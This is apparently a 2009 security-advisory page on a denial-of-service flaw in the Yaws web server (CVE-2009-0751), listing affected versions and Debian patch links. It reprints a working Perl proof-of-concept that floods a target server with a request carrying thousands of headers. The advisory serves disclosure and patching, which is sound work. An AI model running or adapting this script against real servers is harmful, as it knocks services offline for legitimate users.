No account yet?
Home » Exploits » Yaws Multiple Header Request Denial of Service Vulnerability
Yaws Multiple Header Request Denial of Service Vulnerability E-mail
Feeds - Exploits
Written by Manuel Duran Aguete   
Monday, 16 March 2009 21:18
Yaws Multiple Header Request Denial of Service Vulnerability


-\\Bugtraq ID:
33834

-\\Class:
Design Error

-\\CVE:
CVE-2009-0751


-\\Remote:
Yes

-\\Local:
No

-\\Published:
Feb 19 2009 12:00AM

-\\Updated:
Mar 16 2009 03:56PM

-\\Credit:
Manuel Duran Aguete



-\\Vulnerable:
Yaws Yaws 1.55
Yaws Yaws 1.54
Yaws Yaws 1.52
Yaws Yaws 1.51
Yaws Yaws 1.50
Yaws Yaws  1.79
Debian Linux  5.0 sparc
Debian Linux  5.0 s/390
Debian Linux  5.0 powerpc
Debian Linux  5.0 mipsel
Debian Linux  5.0 mips
Debian Linux  5.0 m68k
Debian Linux  5.0 ia-64
Debian Linux  5.0 ia-32
Debian Linux  5.0 hppa
Debian Linux  5.0 armel
Debian Linux  5.0 arm
Debian Linux  5.0 amd64
Debian Linux  5.0 alpha
Debian Linux  5.0
Debian Linux  4.0 sparc
Debian Linux  4.0 s/390
Debian Linux  4.0 powerpc
Debian Linux  4.0 mipsel
Debian Linux  4.0 mips
Debian Linux  4.0 m68k
Debian Linux  4.0 ia-64
Debian Linux  4.0 ia-32
Debian Linux  4.0 hppa
Debian Linux  4.0 armel
Debian Linux  4.0 arm
Debian Linux  4.0 amd64
Debian Linux  4.0 alpha
Debian Linux  4.0



-\\Not Vulnerable:
Yaws Yaws  1.80



-\\Discussion
Yaws is prone to a remote denial-of-service vulnerability because it fails to handle infinite header requests.

Successfully exploiting this issue will allow attackers to cause the affected application to consume memory, eventually denying service to legitimate users.

Versions prior to Yaws 1.80 are vulnerable.



-\\Exploit(s)/PoC(s):
Attackers can use readily available network utilities to exploit this issue.

The following exploit code is available:

===============================================================
33834.pl
^^^^^^^^^
#!usr/bin/perl -w

#######################################################################################
#   Yaws before 1.80 allows remote attackers to cause a denial of service (memory
#   consumption and crash) via a request with a large number of headers.
#   Refer:
#        http://yaws.hyber.org/
#        http://www.securityfocus.com/bid/33834/discuss
#        http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0751
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Dar$hanam
#        Email:     praveen[underscore]recker[at]sify.com
#        Blog:       http://www.darshanams.blogspot.com/
#        Date:      03rd March, 2009
#        Site:       http://www.evilfingers.com/
#
###Thanx to str0ke, milw0rm, Manuel Duran Aguete, @rp m@n, and all the Security Folks###
########################################################################################

use IO::Socket;

print("\nEnter IP Address of Yaws Server(not domain): \n");
$vuln_host_ip = <STDIN>;
chomp($vuln_host_ip);
$port = 80;

$sock_http = IO::Socket::INET->new(  PeerAddr => $vuln_host_ip,
                                     PeerPort => $port,
                                     Proto    => 'tcp') || "Unable to create HTTP Socket";


$headers="Date: Tue, 03 Mar 2009 15:17:53 GMT\r\n".
"Accept-Ranges: bytes\r\n".
"Content-Language: en\r\n".
"Content-Type: text/html; charset=utf-8\r\n".
"Expires: Thu, 05 Mar 2009 15:17:53 GMT\r\n".
"Cache-Control: no-cache\r\n".
"Content-Encoding: gzip\r\n".
"Retry-After: 100\r\n";
print "\nHeaders are:\n$headers";

$i=0;
while($i<=13)    #this is just a PoC
{
$headers=$headers.$headers;
$i++;
}
print "\nHeaders are:\n$headers";
$yaws_attack = "GET / HTTP/1.1\r\n".
"Host: $vuln_host_ip:$port\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
$headers.
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"\r\n";
sleep(3);
print $sock_http $yaws_attack;
sleep(2);
print"\nRequest with large number of Headers sent...\n";

close($sock_http);





-\\Solution
Updates are available. Please see the references for more information.


Debian Linux  4.0 arm
--Debian  yaws_1.65-4etch1_arm.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_arm.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_arm.deb

Debian Linux  5.0 ia-64
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_ia64.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_ia64.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_ia64.deb

Debian Linux  4.0 powerpc
--Debian  yaws_1.65-4etch1_powerpc.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_powerpc.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_powerpc.deb

Debian Linux  5.0 alpha
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_alpha.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_alpha.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_alpha.deb

Debian Linux  5.0 ia-32
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_i386.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_i386.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_i386.deb

Debian Linux  5.0 s/390
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_s390.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_s390.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_s390.deb

Debian Linux  5.0 mipsel
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_mipsel.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_mipsel.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_mipsel.deb

Debian Linux  4.0 amd64
--Debian  yaws_1.65-4etch1_amd64.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_amd64.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_amd64.deb

Debian Linux  4.0 ia-32
--Debian  yaws_1.65-4etch1_i386.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_i386.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_i386.deb

Debian Linux  5.0 hppa
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_hppa.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_hppa.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_hppa.deb

Debian Linux  4.0 sparc
--Debian  yaws_1.65-4etch1_sparc.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_sparc.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_sparc.deb

Debian Linux  4.0 s/390
--Debian  yaws_1.65-4etch1_s390.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_s390.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_s390.deb

Debian Linux  5.0 m68k
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb

Debian Linux  5.0 arm
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_arm.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_arm.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_arm.deb

Debian Linux  4.0 alpha
--Debian  yaws_1.65-4etch1_alpha.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_alpha.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_alpha.deb

Debian Linux  5.0 armel
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_armel.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_armel.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_armel.deb

Debian Linux  5.0
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb

Debian Linux  5.0 amd64
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_amd64.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_amd64.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_amd64.deb

Debian Linux  4.0 mipsel
--Debian  yaws_1.65-4etch1_mipsel.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_mipsel.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_mipsel.deb

Debian Linux  5.0 mips
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_mips.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_mips.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_mips.deb

Debian Linux  5.0 powerpc
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_powerpc.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_powerpc.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_powerpc.deb

Debian Linux  4.0 ia-64
--Debian  yaws_1.65-4etch1_ia64.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_ia64.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_ia64.deb

Debian Linux  4.0 mips
--Debian  yaws_1.65-4etch1_mips.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_mips.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.65-4etch1_mips.deb

Debian Linux  5.0 sparc
--Debian  yaws-chat_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-chat_1.77-3+lenny1_all.deb
--Debian  yaws-mail_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-mail_1.77-3+lenny1_all.deb
--Debian  yaws-wiki_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-wiki_1.77-3+lenny1_all.deb
--Debian  yaws-yapp_1.77-3+lenny1_all.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws-yapp_1.77-3+lenny1_all.deb
--Debian  yaws_1.77-3+lenny1_sparc.deb
http://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_sparc.dehttp://security.debian.org/pool/updates/main/y/yaws/yaws_1.77-3+lenny1_sparc.deb



-\\Reference(s)
--Yaws Homepage
http://yaws.hyber.org  (Yaws)
 

Security Services by HSC